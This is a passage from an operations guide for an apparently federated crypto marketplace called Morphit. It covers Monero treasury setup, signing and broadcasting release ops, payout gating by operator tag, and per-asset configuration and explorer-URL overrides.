Monero address. Create a fresh wallet for treasury inflows:

$ monero-wallet-cli --generate-new-wallet=morphit-treasury.wallet \
                    --restore-height=<recent-block> \
                    --mnemonic-language=English

# Inside the prompt:
[wallet]: address                # → primary address (95 chars, starts with `4`)
[wallet]: spendkey               # NEVER publish this — it lets anyone spend your funds.
[wallet]: seed                   # Back up the 25-word seed offline.

Note (Part 108++): you do NOT need to extract or record the wallet's private view key. Earlier parts of this guide (105/106/107) instructed operators to put the view key in env; that's no longer required. XMR verification uses per-payment proofs from users' wallets, which are checked against the public address alone.

Note (Part 110): the previous verify-xmr-viewkey.ts diagnostic-only helper script was retired in Part 110. Wallet creation can be sanity-checked end-to-end with the modern flow: configure MORPHIT_INDEXER_XMR_FEE_ADDRESS, restart the indexer, have a trusted contact send a small test payment with a tx_proof, and submit it through the real Morphit UI. If the order verifies, your XMR configuration is correct. This exercises the exact code path users will hit.

40.6 Broadcasting the release op

Once your keys are ready, build a morphit_release_v1 payload carrying the treasury block. Full shape (Part 108++ — no viewkey field):

{
    "version": "1.0.0",
    "hash_manifest": {
        "/index.html": "sha256-...",
        "/_app/...": "sha256-..."
    },
    "endpoints": {
        "blurt_rpc": [
            "https://rpc.blurt.blog",
            "https://rpc.beblurt.com"
        ]
    },
    "signature": "(optional)",
    "treasury": {
        "btc": {
            "address": "bc1q...",
            "satoshis": 416
        },
        "xmr": {
            "address": "4...",
            "piconero": "781250000"
        }
    }
}

A helper script generates this for you. Note the hash_manifest is NOT hand-typed — you derive it from the VPS's served /verify.json with apps/web/scripts/verify-json-to-release-manifest.mjs (step 0 below), never a laptop build; you give the builder its path. See the numbered flow below for the exact commands.

The script:

Takes the version, manifest-file path, and endpoints (via prompts on a TTY, or the MORPHIT_BUILD_* env vars)
Pre-fills the BTC/XMR treasury from the canonical addresses baked into canonicalTreasury.ts
Validates against the same rules the indexer enforces
Refuses to emit any payload containing a 64-hex string (defense against accidentally including a view key — the Part 107 invariant carried forward into 108++)
Does NOT prompt for the view key

Sign + broadcast as a custom_json op:

{
    required_auths: [],
    required_posting_auths: ["morphit"],
    id: "morphit_release_v1",
    json: "<the JSON string you just built>"
}

Sign with the @morphit private posting key (the WIF, starts "5…" — NOT the public posting key). This key lives off the morphit.io production server, on a personal machine you trust — typically your laptop.

You do NOT need to hand-assemble that op or find a wallet that broadcasts arbitrary custom_json. The repo ships a helper that does it from the same machine, using the same Blurt library the relay uses (@beblurt/dblurt):

# 0) derive the SRI hash manifest from the VPS's SERVED /verify.json —
#    NOT a laptop build. Vite/Rollup output is not byte-reproducible
#    across machines, so a laptop-built manifest won't match the deployed
#    bundle and trips the frontend's "Build integrity check failed"
#    banner. Upgrade the VPS FIRST (`morphit-ops upgrade`) so /verify.json
#    reflects the new bundle, then convert its tamper-critical BOOTSTRAP
#    subset (shell + service worker + entry loader — stays under the
#    indexer's 4 KB per-field JSONB cap; /verify.json keeps the full
#    per-file coverage):
curl -fsSL https://<your-instance>/verify.json -o ~/verify.json
node apps/web/scripts/verify-json-to-release-manifest.mjs ~/verify.json \
  > apps/web/build-manifest.release.json

# 1) build the payload — BTC/XMR treasury pre-filled from
#    apps/indexer/src/config/canonicalTreasury.ts; you supply the
#    version and the manifest from step 0. (cp436 — endpoints are no
#    longer pinned on-chain; omit MORPHIT_BUILD_ENDPOINTS_FILE.)
#    < /dev/null forces non-interactive mode so the redirected
#    stdout is clean JSON (not echoed prompts):
MORPHIT_BUILD_VERSION=<semver> \
  MORPHIT_BUILD_HASH_MANIFEST_FILE=apps/web/build-manifest.release.json \
  npx tsx apps/indexer/scripts/release-build-payload.ts < /dev/null > release.json

# 2) PREVIEW — prints the exact op, asks for NO key, sends nothing:
npx tsx apps/indexer/scripts/release-broadcast.ts release.json --dry-run

# 3) sign + broadcast for real (prompts for the PRIVATE posting key / WIF, masked):
npx tsx apps/indexer/scripts/release-broadcast.ts release.json

release-broadcast.ts re-validates the payload, refuses any 64-hex secret, reads the posting WIF from a MASKED prompt (never a file, never an env var, never logged), shows you the derived public key to eyeball before sending, then broadcasts across the default RPC nodes. LAPTOP ONLY — never run it on the production server; that box must never hold the posting key.

40.7 For community operators (running your own Morphit instance)

Default behavior:

Leave MORPHIT_INDEXER_BTC_FEE_ADDRESS empty. Your indexer inherits the chain-pinned canonical BTC address. Users on your instance pay BTC fees to the canonical Morphit treasury.
Leave MORPHIT_INDEXER_XMR_FEE_ADDRESS empty. Your indexer inherits the chain-pinned canonical XMR address.
You still get your 90% operator share on BLURT-paid fees (separate pipeline, see §28). Only BTC/XMR fees go 100% to canonical's treasury; BLURT fees split 90/10 to you.
Choose your XMR explorer backend (§40.4 above). Default ships with FIVE independent Monero explorers (xmrchain.net, localmonero.co/blocks, monerohash.com/explorer, exploremonero.com, moneroexplorer.org) running the same reference codebase but operated by independent parties. With MORPHIT_INDEXER_XMR_MIN_SUCCESSFUL_RESPONSES raised to ≥2 this cross-check rejects single-source manipulation (§40.4; the default of 1 trusts a single responding explorer). Self-host a monero-block-explorer Docker container against your own monerod for maximum independence.
No view key needed, no shared secret needed. Every Morphit instance verifies XMR fees independently using user-submitted per-payment proofs. Canonical morphit.io has no privileged role in your verification.

If you want to run your own treasury wallet (collect XMR fees yourself instead of forwarding to canonical), fill in MORPHIT_INDEXER_XMR_FEE_ADDRESS with your own address. Your XMR-fee orders won't appear on canonical's orderbook (the txid paid your address, not canonical's), but you keep 100% of the XMR. Federation health monitors comparing /v1/release.treasury will show the divergence. Permitted but visible.

40.8 Verifying federation propagation

Within a few minutes of broadcasting a release op, every federated indexer should reflect the new pin in its /v1/release response. Verify by polling:

# Canonical
curl https://morphit.io/v1/release | jq .treasury

# Community operators (from /v1/instances list)
for instance in alice.example.com bob.example.org; do
    echo "== $instance =="
    curl -sS "https://$instance/v1/release" | jq .treasury
done

Each response should show the same treasury object you broadcast. Specifically, every response's treasury.xmr should have only address and piconero fields — no viewkey (Part 107 invariant; the response is passed through stripViewkey on output as defense-in-depth).

40.9 Rotating the addresses later

To rotate the BTC or XMR address (e.g., new wallet), broadcast a new morphit_release_v1 op with updated treasury fields. The indexer's /v1/release query returns "the most recent valid release," so the new op supersedes the previous one within ~3 seconds.

Don't rotate frequently.

BTC: rarely (every few years, if at all).
XMR address: as needed. Pre-Part-108++, XMR rotation also required a coordinated env-update. Now it's just the chain-pin update. No more env coordination overhead.

If you do rotate, announce it on the Matrix channel #agorise:matrix.org and the canonical Morphit Blurt account's blog before broadcasting, so users in flight can wait out the transition.

40.10 The keys reference table

Key	Account	Where it lives	Used for	Frequency
Posting	`@morphit`	YOUR personal laptop, OFF the morphit.io server	Release ops (incl. treasury chain-pin)	Rare (4-12/year)
Active	`@morphit-relay`	`/etc/morphit/keys/relay-active.key`, mode 0400, encrypted envelope	Account creation, operator payouts, all relay broadcasts	Constant (hundreds/day at scale)
Owner (both accounts)	`@morphit` and `@morphit-relay`	Paper, in a safe, off any networked machine	Active-key rotation, posting-key rotation	Almost never
XMR private view key	morphit-treasury wallet	NOT REQUIRED on operator box (Part 108++; env var removed Part 109). Stays in your wallet's seed/keystore for personal access only.	None — diagnostic script retired Part 110.	Generated once, never read by indexer code, never on chain, never in any API.
Posting (per-user, syndication)	Each individual user	User's own keychain / in-page WIF unlock	Their own syndication posts	Per-user
XMR tx_proof	The user, per payment	User's own Monero wallet (CLI / GUI / Cake / Feather)	Verifying THIS specific XMR fee payment. Submitted with the order op, per payment.	Per-payment, user-generated

The treasury chain-pin specifically uses the @morphit posting key — the key you keep off the production server.

The Part 108++ design eliminates the operator's role in holding any XMR-specific secret on the production box. The user is the only party that holds anything verification-related (their per-payment tx_key in their own wallet, used to generate proofs and never published).

40.11 Migration path from Part 107

If you're upgrading from a Part 107 deployment:

Pull and deploy the Part 109 release. Your MORPHIT_INDEXER_XMR_FEE_VIEWKEY env var line (if present) is harmless — zod ignores unknown env vars, so the line is silently dropped. You can delete the line from /etc/morphit/indexer.env next time you touch the file.
Restart the indexer. It will start using MoneroProofFeeVerifier (per-payment proofs) instead of the deleted MoneroExplorerFeeVerifier (view-key decryption).
No coordinated migration with users. Pre-Part- 108++ XMR orders that submitted only a txid will be rejected by the new structural validator with reason tx_proof_required_for_xmr — but pre-launch, there are zero such orders, so this is a no-op.
You can safely remove your view key from env once you're confident the new path works. Or leave it; it's ignored.
Optional: if you want priority #2 maximum independence, set up a self-hosted Monero block explorer (§40.4 option 2) and switch MORPHIT_INDEXER_XMR_EXPLORER_URLS to point at it.

Pre-launch (zero live instances), there's no user- impact migration concern. Post-launch, the same upgrade path would require coordinating with users about the new tx_proof requirement — but that coordination simply doesn't apply yet.

41. Federation-cost attribution — only paying for ops served by YOUR instance

Origin: Part 111 (2026-05-10).

What this section covers

How Morphit's federation guarantees that each operator's relay pays only for the ops that route through their own instance — not for ops happening on every other operator's instance in the federation.

The problem (pre-Part-111)

Morphit's federation worked correctly for the orderbook layer: every indexer in the federation saw every Morphit op on chain, and every indexer kept a consistent view of orders, feedback, and operator-attribution events.

But the payout layer had a gap. Five payout categories are queued to relay_pending_transfers (which the relay drainer broadcasts):

Payout	Trigger
Account creation chain fee	HTTP endpoint on the relay (`/v1/account/create`)
Welcome bonus (20 BLURT)	`morphit_feedback_v1` op on chain with `order_permlink`
Low-balance dust refill (~1 BLURT)	Scanner finds user active in last N days, balance below threshold
Operator-payout (90% of BLURT fee)	`morphit_order_v1` on chain with `operator_tag`
Loyalty milestone BP delegation	Cumulative-BLURT-paid threshold crossed

Account creation was correctly scoped — an HTTP endpoint on the relay, so only the operator the user actually hit pays. The other four were not: each was triggered by an on-chain op that EVERY indexer in the federation processed independently. Result: N operators in the federation → N× relay spend on every payout-triggering op.

The fix (Part 111)

Use the existing operator_tag field on order ops as the gate. Each operator's indexer compares the op's operator_tag against the indexer's own MORPHIT_INSTANCE_OPERATOR_TAG env var; only the operator named on the op queues the payout. Other operators see the op, record it for orderbook / audit / federation-consistent global state, and skip the payout queue insert.

Why this is robust:

The 90% operator-payout flows to the operator named by operator_tag. The same operator is also obligated for the consequences (10% treasury via the BLURT fee transfer, welcome bonus, refills, loyalty BP). Economic alignment: a spammer attacking by attributing to a victim operator must pay 90% of every fee TO that victim — net break-even, zero leverage.
operator_tag is already on chain, already public. Zero new on-chain data, zero new privacy leak.

Configuration

MORPHIT_INSTANCE_OPERATOR_TAG in morphit.config.env. Canonical morphit.io uses morphit. Community operators pick their own (e.g. example-community).

# In morphit.config.env:
MORPHIT_INSTANCE_OPERATOR_TAG=morphit

Wizard step 18 captures this at morphit-ops init time. Same step is reachable via morphit-ops edit → Operator tag (federation attribution) for ongoing maintenance.

Conservative default

If MORPHIT_INSTANCE_OPERATOR_TAG is unset, the indexer treats every op as "for a different operator" and queues NO payouts. The relay does nothing. Better to pay nothing than to pay for ops you can't prove are yours.

A community operator who skips wizard step 18 will see their indexer running fine (orderbook updates, chat works, fee verification works) but their relay queue will be empty. The fix is to set the env var and restart the indexer, or re-run morphit-ops edit to pick the section.

Community-operator onboarding sequence

For a community operator standing up example-community.com:

Pick your operator tag. Wizard step 18 prompts, and now defaults it to your domain (e.g. example-community.com) — a great choice since it's unique and recognizable. Constraints: lowercase letters, digits, dots, underscores, hyphens; 1..64 chars. Cannot equal an already-registered operator's tag, and cannot be a project-reserved name (morphit, agorise, etc.) — the wizard blocks those up front. This tag is also what's shown publicly: your entry in the federated /instances directory and on your /about-this-instance page. It's permanent once registered.
Register on chain. Run npx morphit-ops register. It broadcasts morphit_operator_register_v1 from your operator account claiming the tag — using MORPHIT_INSTANCE_OPERATOR_TAG (so the registered tag and your earnings tag match by construction). First-come-first-served; once claimed, no other operator can use it. Before broadcasting it shows the public key your active key derives to; if the account can't cover the operation's small BLURT fee (Blurt charges a per-op fee from your LIQUID balance — it does NOT gate transactions on mana/RC like Hive/Steem; see docs/BLURT-CHAIN-MODEL.md) it tells you to top up a little liquid BLURT (≈5 BLURT is ample — transfer it, do NOT power it up) and lets you retry in place — no full re-run. See the morphit_operator_register_v1 handler in apps/indexer/src/indexer/handlers for the op shape.
- To verify the saved key at any time: npx morphit-ops show-key prints the public key it derives to (never the private key) so you can compare it to your account's active authority on a Blurt explorer.
Restart the indexer. It will pick up the new env var and start queueing payouts for ops carrying your tag.
Verify with a test order. Have a trusted contact post an order through your instance, pay the BLURT fee, then leave feedback citing the order. Your relay should queue +20 BLURT welcome bonus + 1 BP delegation + the 90% operator-payout share. Check SELECT * FROM relay_pending_transfers WHERE recipient = '<that account>'.

If steps 2-4 yield nothing in the queue, the most likely cause is steps 1+3 — verify the env var matches what morphit_operator_register_v1 claimed.

What "served by us" means in practice

An order op carrying operator_tag: <YOUR-tag> was submitted by a user through your instance's frontend (the frontend writes the tag from your indexer's /v1/instance.operator_tag endpoint). That op's payouts (operator-payout, loyalty BP, welcome bonus if the user leaves feedback) are your relay's obligation.

An order op carrying operator_tag: <other-tag> was submitted through another instance. Your indexer records it (for federation-consistent orderbook + audit) but queues nothing.

What stays consistent across the federation

These are NOT gated by operator tag — every indexer in the federation keeps the same view:

orders table contents (modulo operator_tag column, which records which operator served the op)
feedback table contents
account_loyalty.cumulative_blurt_paid per user
account_loyalty_milestones rows
accounts.first_trade_complete_at per user
operator_attribution_events per op

Why: these are "what happened on chain" — every indexer must agree to keep the orderbook and audit trail consistent.

These ARE gated:

relay_pending_transfers rows (only your operator's are queued by your indexer)
operator_payouts audit rows (only when you queue the payout)
operator_earnings rolling totals (only your operator's)

Tests + smoke

apps/indexer/test/indexer/federationScopeGate.test.ts — 11 scenarios covering all 4 gating sites with both gate-passes and gate-fails flows.
operatorEarnings.attributeBlurtFeeToOperator returns attributed_other_instance when the op's tag doesn't match — no DB writes at all in that branch.
loyalty.trackVerifiedBlurtFee extended with orderOperatorTag + instanceOperatorTag params; gates both first-fee welcome BP and milestone delegation queue inserts.
feedback handler looks up cited order's operator_tag from the orders table; queues welcome bonus only when matched.
lowBalanceScanner.selectCandidates JOINs orders.operator_tag = MY tag instead of the pre-Part-111 EXISTS ops (which matched federation-wide activity).

Smoke-suite troubleshooting — ERR_MODULE_NOT_FOUND on @morphit/asset-registry (or other @morphit/* packages). If bash scripts/run-smokes.sh fails several runners (typically single digits — the count drifts each release as smokes are added or refactored — examples that have historically been affected: order-handler, rss-orderbook, rss-orderbook-xml-validate, edit, edit-rpc, surface-invariant) all with the same ERR_MODULE_NOT_FOUND error referencing a @morphit/* package, the cause is that npm install hasn't been run at the workspace root yet, so the symlinks under node_modules/@morphit/* that the workspace setup creates don't exist. Fix:

cd ~/morphit      # repo root, where the root package.json lives
npm install --no-audit --no-fund

Then re-run the smoke suite; the affected runners should pass. This is NOT a code regression — @morphit/asset-registry, @morphit/indexer-client, @morphit/operator-config, etc. are internal packages whose source lives under packages/, and the workspace symlinks under node_modules/@morphit/* are what let apps/*/src/... resolve their imports. Pure environment setup.

Migration

Schema migration v30 adds orders.operator_tag TEXT column (nullable) + index (operator_tag, account, created_at). Pre-Part-111 rows stay NULL. Pre- launch reality (zero live instances) means this compat is for replay tests only.

What "rotating to a new operator account" means

If a community operator decides to switch from example-community-old to example-community-new, they must:

Register the new tag on chain.
Update MORPHIT_INSTANCE_OPERATOR_TAG in morphit.config.env and restart.
Update their frontend's /v1/instance.operator_tag response (the indexer does this automatically from the same env var).

Past ops with the old tag continue to credit the old operator account (operator-payouts already queued before the switch will still broadcast). Going forward, new ops will carry the new tag and queue to the new operator's relay.

Currently no automated migration — operators rotating accounts handle this manually. Filed in REVISIT-LIST as a defer until operational evidence of demand.

Trade-only asset configuration

Audience: operators deciding which trade-only assets their instance accepts, and how transaction-explorer links resolve for single-network trade-only assets (BCH, LTC, DASH, DOGE, ZEC, ARRR, DCR, SOL, ETH, XRP) and multi-network trade-only assets (USDT, USDC, DAI).

How to set this (two paths)

At install time (recommended): the morphit-ops init wizard, step 13 "Trade-only asset policy" (Part 122 cp22), walks through every shipped trade-only asset and asks per-ticker whether to enable it. Default for each is YES per Memory #25. The wizard emits the right MORPHIT_INDEXER_DISABLED_ASSETS= line into morphit.config.env — no manual env-file editing needed.

Post-deploy on a running instance, in your browser (cp116): visit /admin/setup-wizard on your domain. Toggle the asset checkboxes (BTC/XMR/BLURT are locked enabled — core federation assets), hit Copy, paste the emitted line into morphit.config.env, restart the indexer (docker compose restart indexer). Read-only page — never mutates your server, no auth-gating needed. See RUN-A-MORPHIT-NODE.md "Browser setup-wizard" for the full operator UX.

Post-deploy or on an existing instance: edit MORPHIT_INDEXER_DISABLED_ASSETS directly in /etc/morphit/morphit.config.env (or wherever your EnvironmentFile= points) and restart the indexer service. Browsers see the change at most 5 minutes after restart (the /v1/instance response carries a 5-minute Cache-Control header).

All three paths write the same env var — the CLI wizard, the browser wizard, and direct env-file editing differ only in ergonomics. Re-running any path overwrites the previous value; there is no merge logic.

Disabling specific assets instance-wide

MORPHIT_INDEXER_DISABLED_ASSETS — comma-separated list of uppercase tickers from the canonical asset registry. Orders posted with a disabled asset are rejected at handler time with reason: 'asset_disabled_on_instance'. Default empty (every canonical-registry asset is enabled).

Parser is tolerant of whitespace, mixed case, and trailing commas — write it however you like, the indexer normalizes internally. All of these produce the same ['USDT'] value:

MORPHIT_INDEXER_DISABLED_ASSETS="USDT"
MORPHIT_INDEXER_DISABLED_ASSETS="usdt"
MORPHIT_INDEXER_DISABLED_ASSETS=" USDT "
MORPHIT_INDEXER_DISABLED_ASSETS="USDT,"

Multi-coin examples:

# Refuse one specific asset
MORPHIT_INDEXER_DISABLED_ASSETS="USDT"

# Refuse USDC (Part 122 cp30 — operators preferring to avoid
# a Circle-custodial stablecoin)
MORPHIT_INDEXER_DISABLED_ASSETS="USDC"

# Refuse DAI (Part 122 cp31 — operators preferring to keep
# stablecoin exposure to USDT/USDC only; see ADR-0029)
MORPHIT_INDEXER_DISABLED_ASSETS="DAI"

# Refuse Bitcoin Cash (privacy-focused operators may prefer
# BTC + XMR only)
MORPHIT_INDEXER_DISABLED_ASSETS="BCH"

# Refuse Litecoin (some operators specialize in Bitcoin +
# privacy-coin trading without BTC-fork variants)
MORPHIT_INDEXER_DISABLED_ASSETS="LTC"

# Refuse Dash (operators preferring to limit the surface to
# Bitcoin-family chains without masternode-coordinated coins)
MORPHIT_INDEXER_DISABLED_ASSETS="DASH"

# Refuse Dogecoin (Part 122 cp33 — brand/audience choice for
# operators specializing in serious-money trading; see ADR-0030)
MORPHIT_INDEXER_DISABLED_ASSETS="DOGE"
# Refuse only ZEC trades (cp39):
MORPHIT_INDEXER_DISABLED_ASSETS="ZEC"
# Refuse only ARRR trades (cp41):
MORPHIT_INDEXER_DISABLED_ASSETS="ARRR"
# Refuse only DCR trades (cp43):
MORPHIT_INDEXER_DISABLED_ASSETS="DCR"
# Refuse only SOL trades (cp45):
MORPHIT_INDEXER_DISABLED_ASSETS="SOL"
# Refuse only ETH trades (cp47):
MORPHIT_INDEXER_DISABLED_ASSETS="ETH"
# Refuse only XRP trades (cp49):
MORPHIT_INDEXER_DISABLED_ASSETS="XRP"
# Refuse BARTER (cp425 — the goods/services "asset"; e.g. a
# crypto-only instance that doesn't want off-platform barter listings):
MORPHIT_INDEXER_DISABLED_ASSETS="BARTER"

# Refuse two assets (any future stablecoin additions)
MORPHIT_INDEXER_DISABLED_ASSETS="USDT,DAI"

# Refuse three or more
MORPHIT_INDEXER_DISABLED_ASSETS="USDT,DAI,USDC"

# Refuse BCH AND USDT (focus on every other Category-B asset
# plus BTC/XMR/BLURT)
MORPHIT_INDEXER_DISABLED_ASSETS="BCH,USDT"

# Refuse all four Bitcoin-fork variants (still keeps BTC + XMR
# + BLURT + USDT + USDC + DAI + ZEC + ARRR + DCR + SOL + ETH +
# XRP enabled)
MORPHIT_INDEXER_DISABLED_ASSETS="BCH,LTC,DASH,DOGE"
# Refuse all centralized + partly-centralized stablecoins (privacy-pure operator stance: BTC/XMR/BLURT/BCH/LTC/DASH/DOGE/ZEC/ARRR/DCR/SOL/ETH/XRP only)
MORPHIT_INDEXER_DISABLED_ASSETS="USDT,USDC,DAI"

# Refuse everything that isn't BLURT + XMR + BTC (all 13
# Category-B trade-only assets disabled — keeps only the three
# Category-A fee-payable assets)
MORPHIT_INDEXER_DISABLED_ASSETS="USDT,USDC,DAI,BCH,LTC,DASH,DOGE,ZEC,ARRR,DCR,SOL,ETH,XRP"

# Whitespace-tolerant — same result as above
MORPHIT_INDEXER_DISABLED_ASSETS="USDT, DAI, USDC"

# Accept everything (default — same as omitting the var)
MORPHIT_INDEXER_DISABLED_ASSETS=""

Federation semantics: disabling an asset is OPERATOR-level, not user-level. Orders for a disabled asset still appear in your instance's read-only orderbook feeds (the chain history is shared across the federation), but your indexer refuses to accept NEW orders for that asset from your own users. Users who prefer an instance that supports the asset switch to a different Morphit operator — federation is the point.

Do NOT disable Category-A (fee-payable) assets — BTC, XMR, BLURT. The wizard step 13 cannot offer this (the Category-B filter excludes them). An operator manually editing the env file to set MORPHIT_INDEXER_DISABLED_ASSETS="BLURT" or similar will create a weird state: trading in that asset is disabled, but listing-fee payments in that asset still work (fee_method enum is independent of asset registry per Memory #23). Don't do this. If you genuinely don't want to trade BTC/XMR/BLURT, you're running a different product — start by opening an issue describing what you actually want.

Why the canonical morphit.io ships with USDT enabled: active traders find dollar-stable assets useful for parking value between trades, and the canonical operator's stance is to support that use case. Operators with different focuses (privacy-pure, XMR-only, BTC-and-BLURT-only, etc.) override. The federated marketplace keeps trading; users self-route to the instance whose asset list matches their preferences.

The parser tolerance is pinned in CI by apps/indexer/scripts/disabled-assets-parse-smoke.ts (12 scenarios covering empty, one coin, multi-coin, whitespace, case, leading/trailing commas, double commas, etc.) so future refactors can't accidentally break the multi-coin form.

Memory #23 (BLURT/BTC/XMR-only for listing fees) and Memory #25 (default-on + operator override for new assets) together define this knob's posture. See docs/adr/0023-usdt-multi-network.md for the full design.

Frontend surfaces showing your instance's disabled-assets list (Part 121 cp6)

The MORPHIT_INDEXER_DISABLED_ASSETS value flows through the indexer's /v1/instance endpoint as the disabled_assets field (an uppercase-tickers JSON array, e.g. ["USDT"] or ["USDT","DAI"]). Two frontend pages surface this to users:

/about-this-instance renders a "This instance's asset policy" section that shows the current disabled-assets list. Empty array → emerald "None — this instance accepts every tradable asset"; populated → "USDT (operator-disabled on this instance; tradeable on peer instances)". Federation note in the same panel reminds users that peer instances' orders still appear in the orderbook regardless — the gate is only on NEW orders posted from THIS instance.
/run-a-node carries a "Your instance, your asset policy" panel explaining the env var to prospective operators with three pillars (default-on, opt-out env var, federation stays intact) and a pointer back to this section of OPERATIONS.md.

The /operators page does NOT yet surface peer-instance disabled-assets badges — that's deferred to a follow-on Part (needs a v33 schema migration to cache disabled_assets per peer in the known_instances table + a federation-probe handler extension). Until then, users can check each peer's own /about-this-instance to see its stance. REVISIT-LIST §A "Federation-probe extension for peer-instance asset stance" tracks this deferral.

If you change MORPHIT_INDEXER_DISABLED_ASSETS after deploy, clients will see the new value at most 5 minutes later (the /v1/instance response carries Cache-Control: public, max-age=300). Restart the indexer service for the env-var change to take effect; the cache header is the only delay between restart and full propagation to all browsers.

Per-network explorer URL overrides (USDT only)

USDT is Morphit's first multi-network asset (ERC-20, TRC-20, SPL, BEP-20). Each network has a bundled-default explorer URL template (etherscan.io for ERC-20, tronscan.org for TRC-20, solscan.io for SPL, bscscan.com for BEP-20). Operators running self-hosted alternatives override per-network via frontend env vars exposed in the instance config payload.

Operator-config example for a privacy-conscious operator:

# Override all four — point at self-hosted instances
MORPHIT_FRONTEND_USDT_ERC20_CHAT_LINK_URL="https://my-self-hosted-blockscout.example.org/tx/{txid}"
MORPHIT_FRONTEND_USDT_TRC20_CHAT_LINK_URL="https://my-self-hosted-tron.example.org/#/transaction/{txid}"
MORPHIT_FRONTEND_USDT_SPL_CHAT_LINK_URL="https://my-self-hosted-solana.example.org/tx/{txid}"
MORPHIT_FRONTEND_USDT_BEP20_CHAT_LINK_URL="https://my-self-hosted-bsc.example.org/tx/{txid}"

{txid} is the placeholder substituted at render time with the lowercased transaction ID. SPL txids are base58 and case-preserved; the others are hex and lowercased.

If you choose to disable USDT instance-wide via MORPHIT_INDEXER_DISABLED_ASSETS=USDT, the per-network explorer config has no effect on your instance.

BCH chat-link explorer URL override (Part 122 cp21)

BCH is single-network (mainnet only), so there's just one explorer URL to think about. Like the BTC and XMR chat-link URLs (MORPHIT_FRONTEND_BTC_CHAT_LINK_URL, MORPHIT_FRONTEND_XMR_CHAT_LINK_URL), the BCH override is a single env var:

# Default (bundled) — operators don't need to set anything to
# get this behavior:
# MORPHIT_FRONTEND_BCH_CHAT_LINK_URL="https://blockchair.com/bitcoin-cash/transaction/{txid}"

# Override to a self-hosted or alternative explorer:
MORPHIT_FRONTEND_BCH_CHAT_LINK_URL="https://my-self-hosted-bch-explorer.example.org/tx/{txid}"

{txid} is the placeholder substituted at render time with the lowercased transaction ID (BCH txids are hex like BTC). Validation: must be https://, must contain literal {txid}, must parse as a URL after substitution. An invalid template fails indexer startup with a clear error message rather than silently shipping a broken link.

Alternative BCH explorers operators can point at — surveyed at Part 122 cp21 addition time:

The ops-cli wizard step 12 (Chat-link external explorer URLs) asks for the BCH URL after BTC and XMR with the same probe-reachability check that the BTC and XMR URLs get.

If you choose to disable BCH instance-wide via MORPHIT_INDEXER_DISABLED_ASSETS=BCH, the chat-link config has no effect on your instance.

LTC chat-link explorer URL override (Part 122 cp24)

LTC is single-network (mainnet only), so there's just one explorer URL to think about. Same shape as BTC/XMR/BCH:

# Default (bundled) — operators don't need to set anything to
# get this behavior:
# MORPHIT_FRONTEND_LTC_CHAT_LINK_URL="https://litecoinspace.org/tx/{txid}"

# Override to a self-hosted or alternative explorer:
MORPHIT_FRONTEND_LTC_CHAT_LINK_URL="https://my-self-hosted-ltc-explorer.example.org/tx/{txid}"

{txid} is the placeholder substituted at render time with the lowercased transaction ID (LTC txids are hex like BTC). Validation: must be https://, must contain literal {txid}, must parse as a URL after substitution. Invalid templates fail indexer startup with a clear error message.

Alternative LTC explorers operators can point at — surveyed at Part 122 cp24 addition time:

https://litecoinspace.org (bundled default — community-led, mempool.space-style, no JS tracking, open-source)
https://blockchair.com/litecoin
https://www.oklink.com/litecoin
https://bitinfocharts.com/litecoin/explorer/
https://chain.so/LTC
https://blockexplorer.one/litecoin/mainnet
https://ltc.tokenview.io/

The ops-cli wizard step 12 (Chat-link external explorer URLs) asks for the LTC URL after BTC, XMR, and BCH with the same probe-reachability check that the others get.

If you choose to disable LTC instance-wide via MORPHIT_INDEXER_DISABLED_ASSETS=LTC, the chat-link config has no effect on your instance.

DASH chat-link explorer URL override (Part 122 cp27)

DASH is single-network (mainnet only), so there's just one explorer URL to think about. Same shape as BTC/XMR/BCH/LTC:

# Default (bundled) — operators don't need to set anything to
# get this behavior:
# MORPHIT_FRONTEND_DASH_CHAT_LINK_URL="https://insight.dash.org/insight/tx/{txid}"

# Override to a self-hosted or alternative explorer:
MORPHIT_FRONTEND_DASH_CHAT_LINK_URL="https://my-self-hosted-dash-explorer.example.org/tx/{txid}"

{txid} is the placeholder substituted at render time with the lowercased transaction ID (DASH txids are hex like BTC). Validation: must be https://, must contain literal {txid}, must parse as a URL after substitution. Invalid templates fail indexer startup with a clear error message.

Alternative DASH explorers operators can point at — surveyed at Part 122 cp27 addition time:

https://insight.dash.org/insight/ (bundled default — official Dash project, community-led, open-source, no third-party ads)
https://explorer.dash.org/insight/
https://blockchair.com/dash
https://chainz.cryptoid.info/dash/
https://www.oklink.com/dash
https://bitinfocharts.com/dash/explorer/
https://blockexplorer.one/dash/mainnet
https://www.blockchain.com/explorer/assets/dash
https://dash.tokenview.io/

The ops-cli wizard step 12 (Chat-link external explorer URLs) asks for the DASH URL after BTC, XMR, BCH, and LTC with the same probe-reachability check that the others get.

If you choose to disable DASH instance-wide via MORPHIT_INDEXER_DISABLED_ASSETS=DASH, the chat-link config has no effect on your instance.

Single-network chat-link explorer URL overrides for DOGE / ZEC / ARRR / DCR / SOL / ETH / XRP (Part 122 cp33 / cp39 / cp41 / cp43 / cp45 / cp47 / cp49)

Each of these assets shares the same single-network, single-URL shape as the BCH/LTC/DASH sections above. The pattern is:

# Default (bundled — operators don't set anything to get this)
# MORPHIT_FRONTEND_<TICKER>_CHAT_LINK_URL="<bundled-explorer>/{txid}"

# Override to self-hosted or alternative explorer:
MORPHIT_FRONTEND_<TICKER>_CHAT_LINK_URL="https://my-explorer.example.org/tx/{txid}"

{txid} is the placeholder substituted at render time with the lowercased transaction ID. Validation: must be https://, must contain literal {txid}, must parse as a URL after substitution. Invalid templates fail indexer startup with a clear error.

The ops-cli morphit-ops init wizard step 12 (Chat-link external explorer URLs) walks through all 13 single-network chat-link explorer overrides in canonical asset-registry order (BTC → XMR → BCH → LTC → DASH → DOGE → ZEC → ARRR → DCR → SOL → ETH → XRP), each with the same probe-reachability check.

Bundled defaults + alternative-explorer surveys at addition time:

DOGE (cp33) — bundled https://blockchair.com/dogecoin/transaction/{txid} (chosen from a 9-explorer survey: dogechain.info, blockchair.com/dogecoin, bitinfocharts.com/dogecoin, live.blockcypher.com/doge, blockexplorer.one/dogecoin/mainnet, blockchain.com/explorer/assets/doge, sochain.com/DOGE, chain.so/DOGE, oklink.com). See ADR-0030.
ZEC (cp39) — bundled https://zcashblockexplorer.com/transactions/{txid} (chosen for transparent+shielded coverage; see ADR-0031). Note: shielded-only transactions don't expose data to ANY explorer by design — the chat link works for transparent payments and shows a privacy-respecting summary for shielded ones.
ARRR (cp41) — bundled https://explorer.pirate.black/tx/{txid} (the official Pirate Chain explorer; all transactions on ARRR are shielded by construction, so the explorer shows only the proof-of-inclusion summary — no amount or recipient info ever leaks). See ADR-0032.
